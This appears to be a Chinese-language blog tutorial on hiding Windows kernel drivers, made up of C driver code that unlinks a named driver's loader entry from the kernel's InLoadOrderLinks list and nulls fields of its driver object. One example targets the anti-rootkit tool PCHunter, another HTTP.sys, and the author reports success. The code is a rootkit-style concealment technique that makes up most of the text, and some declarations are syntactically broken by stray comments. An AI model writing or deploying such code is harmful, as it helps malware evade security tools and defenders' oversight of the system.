隐藏指定驱动
尝试隐藏这个驱动
#include <ntifs.h>
typedef struct _KLDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY exp;
ULONG un;
ULONG NonPagedDebugInfo;
ULONG DllBase;
ULONG EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT __Undefined5;
ULONG __Undefined6;
ULONG CheckSum;
ULONG TimeDateStamp;
} KLDR_DATA_TABLE_ENTRY, * PKLDR_DATA_TABLE_ENTRY;
/*kd> dt _LDR_DATA_TABLE_ENTRY
nt!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY//这个成员把系统所有加载(可能是停止没被卸载)已经读取到内存中,形成一个双链表,本驱动的驱动对象就是一个节点
+0x008 InMemoryOrderLinks : _LIST_ENTRY//系统已经启动 没有被初始化 没有调用DriverEntry这个历程的时候 通过这个链表进程串接起来
+0x010 InInitializationOrderLinks : _LIST_ENTRY//已经调用DriverEntry这个函数的所有驱动程序
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void//驱动的进入点
+0x020 SizeOfImage : Uint4B
+0x024 FullDllName : _UNICODE_STRING//驱动的全路径
+0x02c BaseDllName : _UNICODE_STRING//不带路径的驱动名字
+0x034 Flags : Uint4B
+0x038 LoadCount : Uint2B
+0x03a TlsIndex : Uint2B
+0x03c HashLinks : _LIST_ENTRY
+0x03c SectionPointer : Ptr32 Void
+0x040 CheckSum : Uint4B
+0x044 TimeDateStamp : Uint4B
+0x044 LoadedImports : Ptr32 Void
+0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
+0x04c PatchInformation : Ptr32 Void
+0x050 ForwarderLinks : _LIST_ENTRY
+0x058 ServiceTagLinks : _LIST_ENTRY
+0x060 StaticLinks : _LIST_ENTRY
+0x068 ContextInformation : Ptr32 Void
+0x06c OriginalBase : Uint4B
+0x070 LoadTime : _LARGE_INTEGER
*/
NTKERNELAPI NTSTATUS ObReferenceObjectByName(
__in PUNICODE_STRING ObjectName,
__in ULONG Attributes,
__in_opt PACCESS_STATE AccessState,// 访问权限可以写0 写0完全访问不受控制FILE_ALL_ACCESS,
__in_opt ACCESS_MASK DesiredAccess,
__in POBJECT_TYPE ObjectType,//对象类型
__in KPROCESSOR_MODE AccessMode,内核模式 有三种模式 enum 类型
__inout_opt PVOID ParseContext,
__out PVOID* Object输出对象 我们要得到的驱动对象
);
extern POBJECT_TYPE* IoDriverObjectType;
void DriverHide(PWCH ObjName)
{
LARGE_INTEGER in = { 0 };
/*typedef union _LARGE_INTEGER {
struct {
ULONG LowPart;
LONG HighPart;
} DUMMYSTRUCTNAME;
struct {
ULONG LowPart;
LONG HighPart;
} u;
LONGLONG QuadPart;
} LARGE_INTEGER;*/
in.QuadPart = -10000 * 5000;
KeDelayExecutionThread(KernelMode, FALSE, &in);//等待
UNICODE_STRING driverName1 = { 0 };
/*typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
} UNICODE_STRING;*/
RtlInitUnicodeString(&driverName1, ObjName);//传入驱动的名字
PDRIVER_OBJECT Driver = NULL;//初始化驱动对象
/*
typedef struct _DRIVER_OBJECT {
CSHORT Type;
CSHORT Size;
PDEVICE_OBJECT DeviceObject;
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName;
PUNICODE_STRING HardwareDatabase;
PFAST_IO_DISPATCH FastIoDispatch;
PDRIVER_INITIALIZE DriverInit;//IO管理器设置驱动程序的DriverEntry例程入口点。
PDRIVER_STARTIO DriverStartIo;
PDRIVER_UNLOAD DriverUnload;
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT, *PDRIVER_OBJECT;*/
NTSTATUS status = ObReferenceObjectByName(&driverName1, FILE_ALL_ACCESS, 0, 0, *IoDriverObjectType, KernelMode, NULL, &Driver);//通过驱动的到驱动的对象
if (NT_SUCCESS(status))//判断
{
PKLDR_DATA_TABLE_ENTRY ldr = (PKLDR_DATA_TABLE_ENTRY)Driver->DriverSection;//驱动对象结构.可以解析为_LDR_DATA_TABLE_ENTRY是一个链表存储着下一个驱动对象
DbgPrintEx(77, 0, "[db]: driver name = %wZ\r\n", &ldr->FullDllName);//输出名字
Driver->DriverSection = ldr->InLoadOrderLinks.Flink;
RemoveEntryList(&ldr->InLoadOrderLinks);//去除双向链表中的值
Driver->DriverInit = NULL;
ObDereferenceObject(Driver);//删除刚刚的到的驱动对象
}
return;
}
VOID DriverUnload(PDRIVER_OBJECT pDriver)
{
DbgPrint("END\r\n");//卸载
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
{
HANDLE hThread = NULL;
NTSTATUS status = PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, DriverHide, L"\\driver\\PCHunter32as");
/*
NTSTATUS PsCreateSystemThread(
OUT PHANDLE ThreadHandle, //新创建的线程句柄
IN ULONG DesiredAccess, //创建的权限
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,//线程的属性,一般设为NULL
IN HANDLE ProcessHandle OPTIONAL,//指定创建用户线程还是系统线程。如果为NULL,则为系统进程,如果该值是一个进程句柄,则新创建的线程属于这个指定的进程。DDK提供的NTCurrentProcess可以得到当前进程的句柄。
OUT PCLIENT_ID ClientId OPTIONAL,
IN PKSTART_ROUTINE StartRoutine,//新线程的运行地址
IN PVOID StartContext //新线程接收的参数
);*/
if (NT_SUCCESS(status))
{
NtClose(hThread);
}
pDriver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
成功隐藏
通过遍历来隐藏驱动
这个我尝试的隐藏的HTTP.sys,忘记截图了
#include <ntifs.h>
typedef struct _KLDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY exp;
ULONG un;
ULONG NonPagedDebugInfo;
ULONG DllBase;
ULONG EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT __Undefined5;
ULONG __Undefined6;
ULONG CheckSum;
ULONG TimeDateStamp;
} KLDR_DATA_TABLE_ENTRY, * PKLDR_DATA_TABLE_ENTRY;
/*kd> dt _LDR_DATA_TABLE_ENTRY
nt!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY//这个成员把系统所有加载(可能是停止没被卸载)已经读取到内存中,形成一个双链表,本驱动的驱动对象就是一个节点
+0x008 InMemoryOrderLinks : _LIST_ENTRY//系统已经启动 没有被初始化 没有调用DriverEntry这个历程的时候 通过这个链表进程串接起来
+0x010 InInitializationOrderLinks : _LIST_ENTRY//已经调用DriverEntry这个函数的所有驱动程序
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void//驱动的进入点
+0x020 SizeOfImage : Uint4B
+0x024 FullDllName : _UNICODE_STRING//驱动的全路径
+0x02c BaseDllName : _UNICODE_STRING//不带路径的驱动名字
+0x034 Flags : Uint4B
+0x038 LoadCount : Uint2B
+0x03a TlsIndex : Uint2B
+0x03c HashLinks : _LIST_ENTRY
+0x03c SectionPointer : Ptr32 Void
+0x040 CheckSum : Uint4B
+0x044 TimeDateStamp : Uint4B
+0x044 LoadedImports : Ptr32 Void
+0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
+0x04c PatchInformation : Ptr32 Void
+0x050 ForwarderLinks : _LIST_ENTRY
+0x058 ServiceTagLinks : _LIST_ENTRY
+0x060 StaticLinks : _LIST_ENTRY
+0x068 ContextInformation : Ptr32 Void
+0x06c OriginalBase : Uint4B
+0x070 LoadTime : _LARGE_INTEGER
*/
NTKERNELAPI NTSTATUS ObReferenceObjectByName(
__in PUNICODE_STRING ObjectName,
__in ULONG Attributes,
__in_opt PACCESS_STATE AccessState,// 访问权限可以写0 写0完全访问不受控制FILE_ALL_ACCESS,
__in_opt ACCESS_MASK DesiredAccess,
__in POBJECT_TYPE ObjectType,//对象类型
__in KPROCESSOR_MODE AccessMode,内核模式 有三种模式 enum 类型
__inout_opt PVOID ParseContext,
__out PVOID* Object输出对象 我们要得到的驱动对象
);
extern POBJECT_TYPE* IoDriverObjectType;
VOID DriverUnload(PDRIVER_OBJECT pDriver)
{
DbgPrint("END\r\n");//卸载
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
{
PKLDR_DATA_TABLE_ENTRY ldr = (PKLDR_DATA_TABLE_ENTRY)pDriver->DriverSection;
PKLDR_DATA_TABLE_ENTRY pre = (PKLDR_DATA_TABLE_ENTRY)ldr->InLoadOrderLinks.Flink;//本身的节点
PKLDR_DATA_TABLE_ENTRY next = (PKLDR_DATA_TABLE_ENTRY)pre->InLoadOrderLinks.Flink;//下一个驱动的节点
UNICODE_STRING driverName1 = {0};
RtlInitUnicodeString(&driverName1, L"\\driver\\HTTP");
UNICODE_STRING driverName = { 0 };
RtlInitUnicodeString(&driverName, L"HTTP.sys");//获取名字
while (next != pre)//遍历一遍
{
if (next->BaseDllName.Length != 0 && RtlCompareUnicodeString(&driverName, &next->BaseDllName, TRUE) == 0)//判断这个是不是空的,然后名字是否对的上
{
PDRIVER_OBJECT Driver = NULL;
NTSTATUS status = ObReferenceObjectByName(&driverName1, FILE_ALL_ACCESS, 0, 0, *IoDriverObjectType, KernelMode, NULL, &Driver);//通过驱动的到驱动的对象
if (NT_SUCCESS(status))
{
RemoveEntryList(&next->InLoadOrderLinks);
Driver->DriverInit = NULL;
Driver->DriverSection = NULL;//从双链表中去除,同时把一些其他的东西也都置0
}
DbgPrintEx(77, 0, "[db]:driver name = %wZ\r\n",&next->FullDllName);
break;
}
next = (PKLDR_DATA_TABLE_ENTRY)next->InLoadOrderLinks.Flink;//遍历下一个
}
pDriver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}